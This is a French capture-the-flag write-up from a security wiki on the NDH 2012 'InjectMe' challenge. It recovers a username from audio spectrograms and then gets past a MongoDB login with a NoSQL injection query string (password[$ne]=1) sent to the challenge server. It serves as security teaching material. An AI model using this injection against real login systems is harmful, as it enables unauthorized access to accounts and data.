Zenk - Security

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.

====== InjectMe ======

===== Overview =====

On trouve une page avec un RPG. Il est possible de se déplacer et de lire des informations grâce au différents items de la map. 

Lorsque l'on clique sur la map, un popup s'affiche pour se connecter.

{{http://i.imgur.com/DQy45.png}} 

===== Utilisation des items =====

En utilisant différents items (appuyer sur espace) on obtient plusieurs informations

<code>
The password should be bypassed...
</code>
<code>
The username is in one of the crystals
</code>

On sait donc ce qu'on doit faire : trouver le login et bypass l'authentification.

Pour trouver le login, on se place devant les cristaux et on appuis sur espace, on entend alors un son assez spécial. On télécharge les deux sons, on ouvre avec audacity, puis on regarde leur spectrogramme. 

{{http://i.imgur.com/hakjd.png}}

{{http://i.imgur.com/R6Lge.png}}

Well! On obtient notre login : **ndh2k12**

===== Bypass du login =====

On observe que lorsque on valide le mini-formulaire, une requête AJAX est générée.

<code>
http://54.247.160.116:8007/login.php?user=a&password=a
</code>
''Wrong username''

<code>
http://54.247.160.116:8007/login.php?user=ndh2k12&password=a
</code>
''Wrong password''

Parfait, le login trouvé est donc bien le bon. Il ne nous reste plus qu'à bypass le bouzin.
Après plusieurs tests, comme à chaque fois, on fini par y arriver. C'est une base de donnée NoSQL derrière, en l'occurrence MongoDB. [[failles_web:nosql_injection|Voir NoSQL Injection]]

<code>
http://54.247.160.116:8007/login.php?user=ndk2k12&password[$ne]=1
</code>

On se retrouve connecté, avec un petit formulaire de recherche à compléter.




===== Extraction des données =====

Il ne nous reste plus qu'à exploiter la nouvelle page pour récupérer le flag quoi doit sûrement être stocké dans la base de donnée.

Zenk - Security

Outils d'utilisateurs

Outils du Site

Outils de la Page